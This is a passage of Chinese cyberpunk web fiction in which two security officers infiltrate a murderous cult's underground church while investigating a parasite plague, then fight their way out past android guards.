手术桌上透明罐子里装着一截舌头,它如搁浅的鱼扑腾着,张着大口,在手术灯下,那些尖锐的牙齿还泛着冷光。 “在未找到寄主前,它们只是普通的飞虫,一旦寄生人体,它们会长成几乎与人类舌头无异的模样。” 操刀的医生已为病人安装好人造舌头,她摘取手套,防护全息屏障包裹住他的面部,向透明隔板外的安防员们走去。 宋拾的左指微微痉挛,她的目光追随着这位医生的动作。 医生察觉到目光,抬手将垂在脸颊的碎发拢在耳后,对着她牵起唇角,温和而友善,“怎么了吗?” “没事,不打扰您了。”宋拾回以微笑。 这时病人悠悠转醒,麻醉药剂的作用显然已经过去了。 站在宋拾身旁的顾念走上前,出示证件,道:“你是在哪感染的?” 病人双眼仍是朦胧,目光呆滞地望着顾念,好一会意识才清明。 顾念只好再重复一遍,“是在哪里感染的?” “这……”病人一时间犹豫起来,畏畏缩缩含糊半天,才道:“是贱民区……哎,我也不想的,警官,我可是良好市民,只是——” “说重点。”顾念不耐烦打断他。 “那儿新开了一家酒吧,联邦网上评价都不错,本想着一起去看看,结果好了,非但没去成,还割了舌头。” “什么酒吧?” “毒樱桃酒吧。” 后面安防员们又去了十几个病房一一询问,大多数人都是在贱民区附近感染的,基本上可以确定感染源地。 正准备离开医院时,顾念放慢脚步,看向宋拾,“我刚接到消息,老杨醒了,一起去看看?” “好。” …… 老杨坐在病床上,目光呆滞无神,望见宋拾和顾念时,眼底仍没有任何波动,但看起来倒没有变疯或是变傻。 医生站在一旁,轻轻点头示意。 宋拾深吸一口,放轻了声音,问道:“你还记得你叫什么名字?” 老杨闻言,双眼放空,似乎是在思考,良久才道:“杨……杨忠军。” “还记得我们吗?” 他的眼珠缓慢地在两人的脸上移动,最终缓缓摇头。 宋拾心脏一紧,明明就差一点,就差一点就可以知道伊索纳德号爆破的真相了,但老杨现在这个样子,她又回到原地了。 一旁的顾念从兜里掏出一个平安符,在他眼前晃了晃,“你记得这个吗?” 老杨黯淡的眼神突然亮了起来,“囡囡的,是囡囡的平安符,怎么会在你的手上?” 顾念将平安符交给他,往后退了几步,瞥了眼医生的神色,知道不能刺激他,说道:“你昨晚回家的太匆忙,平安符落在了安防局。” 老杨摩挲着平安福,憨厚笑了起来:“哦……好的。再过几日就是囡囡的生日了……要带她一起去买蛋糕。” 两人跟随着医生走出了病房。 “如你们所见,杨先生的情况并不乐观。”医生面带歉意。 宋拾问道:“那有可能恢复吗?” 医生摇头,“恢复的几率比较小,他的大脑神经受损严重,损失了大部分记忆,神经衰弱,不能接受刺激,并且,极有可能会疯。” “好的,谢谢医生。” 两人并肩离开了医院,外面又下起了绵密的细雨,天空灰蒙蒙一片,不远处停着安防部的悬浮车。 顾念顺手拿起放置在门口的公共雨伞,撑开,巨大的黑伞罩在两人头顶,噼里啪啦的雨声。 她看了眼宋拾,突然说:“你认识霍尔上校。” 是毋庸置疑的肯定句。 宋拾歪头,不置可否。 “不解释一下吗?” “我怕解释了,你就要把我抓起来了。” 顾念眼神逐渐幽深,正准备再进一步质问时,宋拾又嬉皮笑脸起来。 “其实在来多科市之前,我先去了联邦市,联邦也不好混啊,眼被人打瞎了不说,还差点饿死。后来就遇到了他,我又不知道他是上校,才骗了点小钱……” “呃,我义眼就是这么来的。” 她有些不安地双手交叠。 出乎意料的回答,顾念先是一愣,后又清醒过来,是她糊涂了…… 即便长得有些相似,但怎么可能有人能一夜之间变成成年人,就算是精神师也不可能做到。 她有些头痛,问道:“你骗了多少?” “没多少,就买了个义眼。” 顾念太阳穴直跳,她揉了揉眉心,“那还叫没多少?具有武器功能的义眼可都要四十万以上。” 四十万?! 早知道换个瞎话了,这算什么,算她主动要求入狱吗? “你刚才说的话我都忘了。” 顾念掀了掀眼皮,“走吧,少说你那些偷鸡摸狗的事,安防局最近缺人缺得紧……”声音渐渐低了下去。 宋拾瞬间睁大眼睛,不敢相信顾念就这么放过她了,不过她也注意到顾念说,安防局现在很缺人……?为什么? 按理来说安防员这个职业,虽说总是要面临危险,但工资待遇不错,而且有专门的院校提供源源不断的优秀人才,不至于会缺人吧。 她忍不住问了一句:“队长,安防局为什么会缺人啊?” 居然缺人缺到连她这种黑户都要招。 顾念语气淡淡:“有些事情少打听,不要好奇。” …… 西琼路是多科市最繁华的经济地段,高楼林立,全息广告牌充斥天空,车流如织。 与之形成鲜明对比的一个昏暗的长巷子,一阵湿热的风夹杂着淡淡的血腥味,从巷子深处吹来。 贱民区。 天空黑沉,被舌虫潮盘踞,密集的雨水都无法将其打散,往来的行人皆佩戴防护头盔,行色匆匆。 安防员们刚换好常服下车。 突然,雨幕中,一个脸色奇怪的人出现在众人的视野里,那人着急忙慌地不断扭头观察,怀里搂着一个用黑布包裹的东西。 他刚要过马路,正巧,红灯亮了。 顾念将微型跟踪器交给宋拾,轻抬下巴示意。 宋拾攥住跟踪器,撑着伞,神色如常地走过去,她抬头瞥了眼红灯上的倒计时,蹭到那人身旁。 “哥们,借个火呗。” 那人吓得噌地往后退了退,“没有,我不抽烟。” 宋拾目光似是随意一瞥,陡然怪叫一声,急忙道:“哎哎啊,你别动,你脖子上有个舌虫!” 他身子僵住,抽出一条手正要摸上脖子时,宋拾蓦地倾身凑去,飞快地拍上他的脖颈,又嫌弃地用手指碾了碾。 她甩了甩手,说:“哎呀,你也真是的,都这个时候了也不知道带个头盔出来。” 男人脸色不太好,搂紧怀中的东西,警惕地盯着她。 宋拾倒是面色如常,似乎真的只是为了帮他拍死舌虫。 绿灯亮了。 男人瞥她一眼,埋头快步走过去。宋拾跟着走了两步,见男人跑远了,才扭身折返。 坐上车时,顾念正面无表情地看着终端。 屏幕上红色的小红点飞快地移动着,终端里传出男人跑步的粗喘,以及仓促的脚步声。 红点进入贱民区,离地图上的“毒樱桃酒吧”越来越近,直至完全重合。 清晰的声音传出。 “欢迎光临。” “三千万星币的仰望星空有点贵。” “好的,这边请。” …… “去毒樱桃酒吧。” 顾念关上终端,脚踩油门,引擎声腾腾响起,不到一分钟便来到了“毒樱桃酒吧”附近。 昏昏暗暗的小巷子,暗紫色的霓虹牌倒是显眼。 推开酒吧的门,清脆悦耳的风铃声响起。 “欢迎光临。” 仿生人服务员笑容灿烂,眼睛一眨不眨地看着两人,一个看起来清瘦且营养不良,另外一个面颊上横着一道疤。 宋拾回以微笑:“三千万星币的仰望星空有点贵。” 服务员笑容不变,微微弯腰,胳膊伸向里面,“两位这边请。” 宋拾和顾念跟在服务员身后穿进舞厅。 劲爆的音乐震耳欲聋,迪斯科的闪光球灯射出耀眼的光。 男男女女不知疲倦地扭动着腰肢臀部,调酒师晃动着身体抛起调酒瓶,令人迷醉的酒液随之流动。 袒露的肉一体似是白玉,晃得人心乱。他们咧嘴大笑,狂喊乱唱,露出的舌尖不时露出一条细缝,吞咽他们喝进的酒液。 觥筹交错中,高脚杯磕碰出清脆的声响。 暧昧的烟酒气息中混杂着迷乱神经的气味蔓延在舞池里。 服务员的脚步并未停止,她接着朝里带路,直到走到一道暗门前停下。 “尊贵的客人,里面就是了,请把电子设备交给我来保管。” 宋拾和顾念对视一眼,只能掏出终端交给她。 暗门打开,伴随着“吱呀”沉重老旧的声音,眼前是黑漆的一片,看不清前路。 两人刚一踏进去,“砰”地一声,暗门重重关上。 宋拾手揣兜,摸着被自己顺回来的终端,说:“我不会刚入职就要殉职吧?” 顾念冷笑:“不好说。” 宋拾:“……” 她只是说说而已。 漫长的黑暗与无尽的阶梯,只有彼此的呼吸声和脚步的回音,只能依稀看见脚下的阶梯。 终于,一道清亮的光缝映入眼帘,嘈杂的人声从缝隙传来。 宋拾后脊一阵电击般的刺痛,这是危险的警告。 门后面,究竟是什么? 顾念率先推开门,明亮刺眼的光芒让两人下意识眯起眼。 一道华丽的嗓音响起。 “请由我隆重介绍神赐下的第二个礼物——塞壬的歌喉!” 门重重关上。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 21、第二十一章 “哀涅托的教堂?怎么会建在这里?” 伴随着顾念疑惑的声音,数只白鸽从眼前掠过,染着红的几根鸟羽悠悠落下。 “安静!”严肃的声音。 适应强光后,宋拾被眼前的场景震在原地。 没想到酒吧的地下,竟然是一个巨大教堂。 映入眼帘的是那些栩栩如生的雕塑,似从墙中破芽而出,姿态怪异而扭曲。 有扼脖窒息的老人,有翻眼吐舌的婴儿,又有双手合十男女,卖力仰头,以一个不可思议的弧度,焦急地乞求着什么。 银色长袍的神使在教堂的两侧肃目而立,手持的不是权杖,而是枪械。 绅士淑女们坐在席位上,低头窃窃私语,嬉笑打闹,浑然不觉有什么不对的地方。 宋拾同顾念相视一眼,心照不宣地寻了空座坐下。 谁家正经教堂会搞得那么渗人。 “你刚才说的哀涅托,是什么?”宋拾问出了心底的困惑。 “一群疯子,比回溯还要疯的疯子……”顾念深吸一口气,接着道,“以及,财阀公子小姐们的时尚单品。” “啊?” “没事的,薇薇安,你可以的!”一道细小的声音从隔壁传来。 年轻的淑女双手紧攥裙角,小声为自己打气。 “薇薇安,你还记得上次神父说的话吗?你亲灵性为零!根本无法成为神眷者,我劝你还是少费些功夫吧!” 她身旁衣着同样华丽的小姐嗤笑出声,羽扇遮住口鼻,出声讥讽。 好幼稚。 宋拾面无表情收回注意力。 “安静!安静!” 神父身着黑色长袍,机械面具覆盖住整个脑袋,正面横贯着一颗硕大的金属眼睛。 但这并不影响他优雅地行了个礼,缓慢的嗓音回荡在整个教堂: “痛苦之神奥伊兹带来痛苦、不幸、悲剧,磨砺了我们的凡人之躯,让我们这些囚徒也能获得不朽的灵魂。” “痛苦,挣扎,都是祂降下的恩泽!” 歌颂苦难?这无疑是大型pua现场,谁会信啊。 宋拾默默吐槽。 但偏偏pua奏效了,她被打脸了。 一片惊呼中,坐席里跑出位衣着华丽的女士。 蕾丝帽檐上的珍珠在人造光下熠熠生辉,她瘦小的身躯因恐惧而颤抖,捏着裙角的手发白。 她高声大喊:“苦难!死亡!只有死亡才能获得解脱!” 厚重的裙摆落下,裙撑上缠绕满炸药。 “是炸蛋!” 尖叫声四起,人们惊恐地从座椅上弹跳起,还未行动,便被神使手中的枪械震慑回座。 “哦噢,看来他们也没有多虔诚嘛。”身侧传来顾念的调侃,但话锋却蓦地一转,“找到了,八点钟方向。” 闻言,宋拾立刻抬头寻找,一道有些熟悉的身影闯进视线里。 一片骚动中,那人怀里抱着用黑布裹得严严实实的东西,行色匆匆地埋头往里走,更换了座位。 “盯紧了。” “是。”宋拾应声。 “肃静!” 神父显然丧失了耐心,他一步步走下去,居高临下地“看”着这位女士,金属眼睛泛着无情的冷光。 “我记得你,亲灵性为零的小姐,真是冒失的行为。不过,我想神会原谅你这一次小小的错误。请归座。” “薇薇安,这可是你证明自己唯一的机会!我们当中,只有你亲灵性为零!” 讥讽过她的人焦急地压低嗓子喊道,在引来神父的注视后,她只好闭上嘴巴。 “我……我是在遵从神的指引!” 薇薇安无措地向后退一步。 “请归座,否则我将会纠正偏差。”近乎冷酷无情的声音透过面具传来。 年轻的女人惊恐后退,掏出遥控器就要按下,“不,您不能……我是祂最虔诚的信徒!您不能打断我的献祭!” “神——不需要一个没有信仰的灵魂。” 金属面具上的眼睛投射出一道红光,直直穿透过那位小姐的眉心,甚至没流出一滴血。 没了支撑的身体瘫倒在地,惊恐的神情永远定格在那张脸上。 神父拾起遥控器,按下,炸药并未炸开—— 它只不过是一个向同伴证明自己的玩具。 他叹息,“轻贱的灵魂是对祂的亵渎。” 宋拾懂了,懂了顾念的那句话: 这个世界终究是癫了。 “杀——杀人了!” 人们后知后觉反应过来,尖叫与恐惧交织,死亡的黑影笼罩在每个人的心头。 他们再也不顾什么神使的威胁,推搡,叫喊,拼了命地要逃离。 在混乱中,有序就变得极为显眼了。 八点钟方向,那人泰然自若坐在座位上,像是对眼前的场景早已司空见惯。 宋拾淡淡收回目光,问顾念:“要不咱们也走吧,和舌虫的调查好像无关。” “砰砰砰——”几声枪响。 跑在最前面的几位无一例外皆倒在了地上,血液浸透过那些昂贵的布料,染红地板。 人群像蜜蜂似地嗡鸣了几声,嗡嗡嗡,安静了。 不多时,尸体便被人拖了出去,像是什么也没发生。 那些上层人不可能当什么也没发生,他们要求离开,这威胁到他们的生命安全,但皆被神父一票否决。 “你们疯了吗?知道我母亲是谁……” 年轻人将最后一个音节吞入喉咙,因为那颗纠正偏差的眼睛“望”向了他。 “没人在乎你的母亲或是父亲,先生。”神父礼貌提醒。 不过,这也意味着…… “该死,这群疯子。”顾念暗骂一句,将头转向宋拾,“把你的终端给我。” 宋拾愕然,顾念怎么知道? 迎着她错愕的目光,顾念补了一句,“我看见了,你偷回终端的技术还不错,但就是不知道把我的也拿回来。” 宋拾:“……” 神父慢悠悠接着道:“先生小姐们,这里可不是你们家的后花园,想来就来想走就走,更何况——” 他拉长声音,带着笑意。 “你们只能保持安静,不是吗? 教堂静得针落可闻,他拍了拍手,耀眼的灯光瞬间聚焦在刚刚现身的人鱼身上。 同样的覆面头盔,无法窥探到那神秘的面容,人鱼安静地坐在囚笼之中。 黑漆的长发从面具的缝隙中,柔顺垂在身前,堪堪遮住胸脯,小腹下是一条泛着柔光的白色鱼尾。 神父用他华丽磁性的嗓音接着道: “她是海中迷惑水手的塞壬,更是人类科技的结晶!” 稀稀拉拉的掌声响起,绅士小姐们像是霜打的茄子。 “我还以为他会说‘这是神创造的奇迹’。”宋拾压低嗓音,“不过队长,这是……人造变异物种?” 人造变异物种是联邦法律严令禁止的,被抓获只有死路一条。 “正常,有利可图的东西,总会有一大帮人趋之若附。” 顾念神色凝重,手指在兜里飞快地盲打,“局里人手不够,直接联系联邦了,希望我们能活到后援到来。” 宋拾再次抓住到她话里的细枝末节。 人手不足,顾念反复提及过的。 一个繁华的市区竟缺安防员缺到这种程度,治安没出大乱子真多亏了顾念的爱岗敬业。 她瞥了眼对方眼下乌青,不由感叹。 虽说安防员是高危职业,也不能消耗到连个后援都没有吧? 消耗、死亡……除非,那场爆破! 伊索纳德爆破,死掉的绝不止三十一个安防员! 教父的声音将她从沉思中引了出来。 “愿人鱼的歌喉净化你们肮脏的灵魂,只有灵魂纯净的信徒才能成为神眷者……呵。” 覆盖在人鱼脸上的眼珠猛然闭上,轻柔的嗓音随即响起。 塞壬女妖的嗓音犹如轻飘飘的白羽,漂浮在空中,用它细软的羽尖抚慰人们的不安,戳中灵魂深处的柔软。 不,不对。 宋拾后脊如遭电击。 她急忙扭头,“队长!这歌声有问题……” 还是太迟了。 “杀戮是释放人性之美,死亡是通往天国地狱的捷径。” 海妖高歌,颀长白皙的脖颈让她看起来犹如欲展翅的天鹅。 “队长!” 顾念毫无焦距的瞳孔对着她,微笑亲切:“有什么事吗,我亲爱的下属?” 宋拾惊恐地拉开了距离。 问题大了。 “我受够了!我受够了!”有人突然暴起,一拳挥向身旁的人,却并未注意到一个红点悄然出现在他的额头上。 “嘿!你是有什么毛病吗!” 对方愤怒地捂住脑袋,扬起的拳头还未落下,眼前的人脑门就被激光射了个对穿,扑通倒地。 下一秒,他只觉眉心一阵刺痛,便再也站不起身了。 人们大概都疯了,没有人察觉到自身以及身旁人的变化,甚至连接连不断的死亡都被漠视了。 塞壬女妖的歌声仍在教堂内回响。 而神父也尽职尽责地“纠正偏差”,收割生命。 卧槽卧槽卧槽,顾念说他们疯,可她没想到他们那么疯啊! 竟然直接把人圈在这密不透风的底下教堂杀。 冷静冷静,她舌尖抵住上颚,她还可以复制把自己成神使,趁乱带着顾念离开,但……就是不知道顾念清醒后会不会保留这段记忆。 该死。 她抬头。 神父仍敬职敬责地送人去见上帝,但面对那些恍惚的,安静的人时,那颗大眼便移到了别处。 为了印证猜想,她又多观察了一会。 果不其然,凡是安静坐在席位上的就不会被爆头。 目光移到的八点钟方向。 那人和宋拾一样,没有受到歌声的蛊惑,如常地坐在座位上,抱紧黑布。 突然,一片阴影笼罩下来,高大的身影遮挡在宋拾眼前。 神父俯视她,面具下传来困惑的声音:“还清醒着?” 宋拾:“……” 真好,怕什么来什么。 年轻的小姐眨着眼,“您也看见蝴蝶了吗?” “蝴蝶?” “是呀,蝴蝶,好多好多漂亮的蝴蝶呢!”她如痴如醉地微笑着,仿佛眼前真的有那么一大群蝴蝶。 人生如戏,这大概是她演技的巅峰。 神父:?魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 22、第二十二章 宋拾脸都快笑僵了,那颗金属眼睛“盯”了她足足十几秒。 半信半疑中,神父还是信了。 高大的身影离去,她舒了口气。 过程虽然荒谬,但结果是好的,这就足够了。 顾念突然蹭了过来,笑容亲切:“亲爱的下属,我怎么没看见蝴蝶呀。” “因为只有聪明的人才能看到。” 宋拾眼一眨不眨道,从对方兜里掏出终端,按开,还是和联邦的通讯页面—— 她们的地址已经实时传送了过去。 对面正巧发来了回信:支援会尽快安排,切勿把事情闹大。 ? 一个硕大的问号从她心中升起,什么叫切勿把事情闹大? 在涉及她宝贵生命的事情上,宋拾从不马虎,于是她飞快地敲下了一行字: 当然,我也不想把事闹大,可他们想炸掉整个多科市,扬言要踢掉总统的脑袋!是我我忍不了。 对方正在输入中。 终于,消息抵达了——支援马上到。 看吧,工作效率大大提升了呢。 她将终端揣回自己兜里,悄悄观察另一边的动向。 “偏差已纠正完毕,进行下一步吧。”神父吩咐道。 “是。”神使右手置于左肩,恭敬地行礼。她走到人鱼的笼子旁,低声说了些什么。 塞壬的歌声随之戛然而止,很快,另一种纯净,美好的声音,从她那被神祝福过的喉咙里传出。 方才还恍惚的人们,目光迥然,整齐划一站起,排好队列。 宋拾被突然站起的顾念吓了一跳,她迅速反应过来,跟着站好。 他们要干什么? 神父昂首,快走穿梭过长道,停在一个雕塑旁,一个摆出祈祷姿势的雕塑。 五指按下。 沉闷的、厚重的石门开启的声音。 生有雕塑的墙壁大开,幽深的黑暗,是一条走廊,角落缝隙里隐隐透着昏黄的光。 整齐的队列跟随着神父神使进了去。 如此场面,宋拾上次见,还是她赶丧尸群的时候。 只可惜,物是人非。 大概走了一分钟,窸窸窣窣的声响隐约传来,她目光一顿。 队列之外,一个黑影蹲在角落里。 昏暗的光打在他的下颌上,男人兴奋地浑身颤抖,手指哆嗦地抽开黑布,里面露出泻着流光的银色布料。 他起身披在身上,宽大的帽檐遮住额头,长袍绣着一个硕大的金色眼睛。 金眼活过来一般,转动眼珠看向某个暗处。 宋拾心一惊,不自觉后退一步,鞋踩在金属地板的声响在此刻格外清晰。 “什么人?!” 男人蓦地警惕回头。 队伍依旧保持着安静与整齐,仿佛只是他的幻觉。 不,不可能是幻觉。 “是谁?”他再次重复。 队伍里,站出一个同样身着银白色长袍的男人,帽檐遮住脸,只露出下颌,声音淡淡。 “和你一样的人。” 帽檐遮挡大半的视线,宋拾手心沁出了汗,早知道把【复制】多练练了,要是再慢上一秒她就暴露了。 复制衣服还是第一次,目前看起来还算成功。 男人舒了口气,露出笑容快步走过去,“你是哪个区的?” 哪个区?这个区绝不可能简单指所在是辖区。 对于不好回答的问题,宋拾都选择不回答。 她单手握拳放在唇边轻咳了几下,一副体弱的模样,更容易降低对方的警惕,她反问道:“你先说你是哪个区的。” 男人狐疑地盯了她两秒,又露出恍然大悟的神色,凑近放低声音:“这么谨慎,你来这里的目的不会和我一样吧。” 宋拾眉毛一挑,压低嗓音:“你也是……” “查普曼大人区的。” “好巧,我也是。” “我就知道大人不会只让我一个人来。”男人顿时放了心,嘱咐道:“这次小心点,我听说那位也来了,咱们只管取到圣水,其它的千万不要碰。” 圣水?果然是个邪一教。 “是。”宋拾应下。 男人皱起眉毛,打量起眼前的人,“一开始我就觉得你的身形和我有些像,怎么声音也像?” 说罢,他伸手就要扯下宋拾的帽子。 宋拾抬手攥住他的手腕,摇头,刻意压嗓,“走吧,时间不多了。” 男人却不信,死死盯着她的下颌,“你究竟是谁?把标志交出来。” 宋拾幽幽叹气,帽檐从她头顶滑落,露出面容。 “你装一装也行啊,这下好了,只能麻烦你多睡会觉了。” “你!”男人不可置信地看着眼前这张同他一模一样的脸。 她攥住手腕的手猛一用力,“咔嚓”脱臼。 男人痛苦的哀嚎还未叫出声,裹挟着强风的拳头砸中太阳穴,耳朵嗡鸣,他眼前一黑,昏死过去。 力道都是控制好的,最多脑震荡。 宋拾甩了甩拳头,蹲下开始摸对方的身体,从兜里翻出一个刻着“查普曼区”的木牌。 难道这就是他说的标志? 保不准会用上,她直接揣兜里了。 * 因为这段小插曲,队列已经消失在视野里了。 长廊一望无际,昏黄的灯光随着时间的推移愈发的黯淡,只有宋拾脚步的回响。 走了不知多久,尽头终于出现在眼前。 两个穿着黑色长袍的人站在一堵门两侧。 打量完对方的衣着,右侧的黑袍人率先伸出手。 宋拾心念一动,将兜里的木牌递过去。 黑袍人接过木牌,瞥了眼上头的字,嗤笑出声:“查普曼区?呵,奉劝你家大人不要总想着谋反,不然必会遭到反噬的。” 宋拾垂着头,不语。 她又仔细地上下翻看,确认无误后将木牌收起,颔首,侧身让出一条路。 宋拾伸出手推开铁门,“咣当”一声门合上。 一道圣洁明亮的暖光撒下来。 一侧是身穿白袍的信徒,皆跪在地上,额头虔诚地紧贴地面,正对着一座高台。 另一侧站着仍神志不清的先生小姐们。 高台之上,身披洁白长袍的男人慈悲垂目,赤着双足一步步走下白玉阶梯。 水晶蓝的卷发一路长到了脚踝,蓝发上半披着流光溢彩的金纱,垂在一边,遮住半张脸。 他如冰晶般的蓝眸淡漠地扫去。 “迟到可不是美德。” 沉稳淡漠的嗓音像是饱满的音符,流淌进宋拾的耳畔。 好美的神棍。 宋拾垂下脑袋,一副惶恐的模样,“来的路上遇到了些麻烦。” 那道冰冷的目光似乎凝成实质,在她身上停留了许久才挪开。 “下不为例。” 他转身又走上阶梯,披散的蓝发犹如月光下的潮水,随着他的动作一路倾泻。 “起来吧。” 众信徒整齐划一地站起身,垂目不敢与之对视。 宋拾趁机混入信徒的队伍里,随便找了个位置站好,低下脑袋,手却在宽大的袍下悄然点开了终端。 录音。 她的眼珠不安分地偷偷往上瞥。 刺眼夺目人造太阳光光晕下,站在高台上的圣子手握书卷,洁白的长袍拖在地上。 “神说,要有光,于是世界便产生了光。” “神说,人类需要磨难,于是便赐下了这场虫疫来磨炼人的意志,帮助人类能够在这个满目疮痍,人情淡薄的世界更好地生存下去。” 宋拾手指微微痉挛,虫疫是这个邪一教搞的?! 她手轻轻搭上终端。 证据有了,等回去后交给顾念,顾念一高兴说不定就给她升职加薪。 这么看来,生活还是有盼头的。 “但光有虫疫还远远不够,”他轻笑,“人类过于懒散,需要用更加沉重的打击才能激发他们的斗志。” “不过,那都是后话。” “现在,神说,祂将赐下福祉给祂的信徒们。” “愿听神谕。” 信徒们手放置在心脏前,头垂得更低,宋拾学着他们的样子虔诚地将手放在胸前。 佩戴面具的神使走上前,递出一瓶红色的液体,伽蓝修长的手指轻轻接过器皿。 浓艳的红色在器皿里流转。 “神赐下圣水,只有心诚的信徒喝下后,圣水才会起作用。” 他向前踱了一步,金色的暖光撒在他的蓝发上,金色的头纱熠熠生辉。 淡蓝的眸子微压,俯视下方的信徒们,牵起唇角,“那么,会是你吗?” 一时间,信徒们躁动起来,杂音纷起。 有人直接噗通跪地双手合十,也有人甚至直接匍匐在地亲吻地板。 宋拾:“……” 邪一教害人不浅啊。 “肃静。”威严的嗓音回荡在大厅中,像是悠远绵长的古老咒语。 伽蓝的目光掠过那位亲吻地板的信徒,轻抬下巴,“你,上来。” 那名信徒急忙站起身,激动得痛哭流涕,嘴里念叨着“神没有忘记我,没有忘记我”。 他小跑上了高台,就要匍匐跪地,亲吻伽蓝脚趾时,站在一旁的神父放出激光,吓得他不敢动弹。 “圣、圣子……” 伽蓝走向他,信徒连忙双手抬起,诚惶诚恐地接过圣水。 “感谢吾神的恩赐!” 他又一次匍匐跪地,虔诚得让台下的宋拾头皮发麻,浓烈的荒谬感充斥心头,双腿恨不得现在就离开这里。 信徒起身,将圣水一饮而尽。 红艳艳的圣水在人造光的照射下像血一般,他的喉结滚动,大口吞咽,直至液体一滴不剩。 “感谢……呃……” 他膝盖弯曲正要跪拜时,突然面容狰狞,眼球凸出,脸色青紫,痛苦地扼住自己的脖颈。 “神……神啊……” 他的身体陡然膨胀,气球一般扩大,圆滚滚的身子瘫倒在地。 “救……救我!” 伽蓝冷漠地抽离视线,一旁待命的神使开启全息屏障包裹伽蓝。 “圣子……救……啊啊啊啊!” “嘣”地一声,那位信徒如烟花般炸开,前排的信徒未能幸免,艳红的鲜血和碎沫浸湿他们白色的袍子。 人体组织和血沫喷溅在屏障上,伽蓝垂下长睫,淡蓝的眸子染上悲哀,他轻叹:“这便是对神不忠的后果。” 宋拾皱眉,对赛博人视人命如草芥的态度已经见怪不怪了,反正她的世界也没好到哪去。 “圣子,祭品已到位,都是合格的神眷者。”神父右手放在左胸口,微微弯腰。 祭品——自然是指顾念他们。 神使端着器皿,一个个分发下去,那些没了神智的傀儡,动作毫无迟疑,一口饮下。 在一众信徒狂热的目光下,死亡的序幕就此落下。 有人膨胀成气球炸开,有人融化成一摊恶臭的液体……死亡,死亡,还是死亡。 没有幸免者。 神使走到了顾念身旁,圣水递了过去。 不,不能喝! 顾念接过,仰头就要喝,盛着圣水的器皿却突然一歪,咣当掉在地上,鲜红的液体也撒了一地。 “嗯?”圣子抬眸望过来。 神使有些迟疑,“圣子,是圣水撒了……但她看起来明明没有意识了啊。” 宋拾舒了口气,拉紧遮住自己身上蓝光的银袍。 术法生效了,有惊无险。 她眼珠小心翼翼抬起,正好与那双淡蓝的眸子对视上,宋拾心脏咯噔一声,连忙把头低得不能再低。 别看她别看她别看她。 对方弯起唇角,圣洁的面庞犹如美神降临。 “你,上来。” 宋拾警铃大震,弯腰谦卑说道:“圣子,我……我实在配不上圣水,您不如将它赠给更合适的信徒。” 伽蓝目光陡然凌厉,语气冰冷:“你的意思是,你对神不够虔诚?” “不,我没有,我不是这个意思……” “既然如此,为什么不愿意接受神的恩赐?神会眷顾每位虔诚的信徒。” “……” 宋拾只好硬着头皮走上阶梯,白玉阶梯渗着凉意,侵入她的五脏六腑。她只觉得一切都像是调了速,双腿缓慢地踏上一个又一个台阶。 伽蓝长睫微颤,修长的手指轻捻器皿,白如皓月的双足缓缓走向她。 宋拾单膝跪地,双手虔诚举起。 单膝跪地,是她最后的底线。除非拿枪指在她的头顶,不然她是不会屈服的! 冰冷的器皿触碰到手指,宋拾也想假装没拿稳,但那多半只会达成另一条badending。 看着面前的圣水,犯了难。 总不能真喝吧…… 伽蓝俯视她,目光毫无波澜:“你为什么不喝?” 宋拾:“……” 为什么不喝?问得好,你喝个试试看啊! 看着面前的圣水,犯了难。 总不能真喝吧……魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 23-30 第23章 “这么珍贵的圣水,您真的要给我吗?”宋拾眼含热泪。 她不动声色地看了眼隐在阴影的神使们,陷入沉默。 敌人太多,命只有一条, 肉搏肯定打不过, 但使用精神术法的话,成功逃命的几率应该还是蛮大的。 她吐出口气,蓝色的光芒如薄纱隐约从皮肤上溢散。 伽蓝微笑,下达指令:“纠正偏差。” 他轻抬起手示意,站在一旁的神父颔首,踩着装饰金属链条的长靴,一步步走到宋拾身前。 不是,这么快就发现了? 宋拾绷紧肌肉,惊愕抬头。 金属面具严丝合缝地与面部贴合,大眼闪烁着诡异的冷光。 神父举起右手对准她,人类的手陡然翻盖,露出黑黢黢的炮口。 真·翻盖手机。 她瞳孔扩大,琥珀色的眼瞳倒映着酝酿的红色能量。 “我靠!” “砰——”烟雾溢出。 她敏捷翻身滚过,器皿里装的液体随着她的动作荡出,在空中划过一道优美的弧度。 宋拾急忙举起器皿接住,一滴未洒。 “轰隆”炮弹将地面炸出巨大的豁口,碎石“咔擦咔擦”滚落。 沉重的脚挪动,黑黢的炮口再次对准她,能量酝酿。 可恶。 宋拾也不管了,蓝光陡然爆发,大片蓝色的符文从肌肤上滚过。 她脚尖一跃,飞速奔下台。 “果然是精神师,杀了他。” 伽蓝神色冰凉, 声音不大,但令全场的每位信徒都能听见。 “杀了他!杀了他!” 嘈杂的声音四起,众信徒如狼似虎地扑向她。 宋拾脸色微沉,一脚踹在靠近的神使手腕,趁对方吃痛,抢过枪。 子弹一颗颗射去,后坐力震得她虎口发酸。 弹无虚发,呼吸间,一条道出现在眼前。 她咬牙,从傀儡木头人中揪出顾念,一边碎碎念:“队长啊队长,你可要给我涨工资啊!” “天罚。”伽蓝宽大的袖摆一扬,落下。 宋拾雷达响了。 她揪起顾念,堪堪躲过袭来的攻击。 金色光团以摧古拉朽之势击中尚未闪开的信徒们,一瞬间,生命消寂,没有留下半点痕迹。 连一点人体组织碎片都没留下。 宋拾惊恐地瞪大眼。 淡金色符文飘荡在皮肤上,一袭白的男人沐浴在金光中,宛若光明神在世。 神爱世人,但他不是神。 碧蓝的眸子无情无欲。 “天罚。” 毁天灭地的光团再度袭来。 “快跑!”顾念突然喊了一声。 “你——” 蓝光更盛,宋拾的声音消散在空气里,拉着顾念闪现到门口。 “抓住他!”神使与信徒们围堵过来。 她一脚踹开大门。 “站住!”守门的黑袍人抬起手臂。 熟悉的翻盖手机,熟悉的炮口。 “队长,抱紧咯。” “逃你的命,少说话。”顾念掀掀眼皮,紧紧环住她的腰。 符文速度加快,宋拾将器皿塞她手里,箭般射出,只留下一道蓝色的幻影。 硕大的炮弹在她们身后炸出道道绚丽的火光。 紧随其后的几个人阴魂不散,怎么也甩不来。 “小心!”顾念出声。 “轰隆”又是一声,她飞跃跳起,与炮弹擦肩而过,炽热的光芒在不远处炸开。 混乱的思绪稍稍冷静下来,她皱起眉毛,人类能达到这种速度吗?脚难道安了轮子吗? 宋拾回过头,看向穷追不舍的黑袍人和神使,抬起抢来的枪,对准神使,轻扣动扳机。 “砰——” 子弹穿透神使脸上的面具,空洞内蓝色的电流“滋啦”窜动。 答案是,不可能。 武器型仿生人。 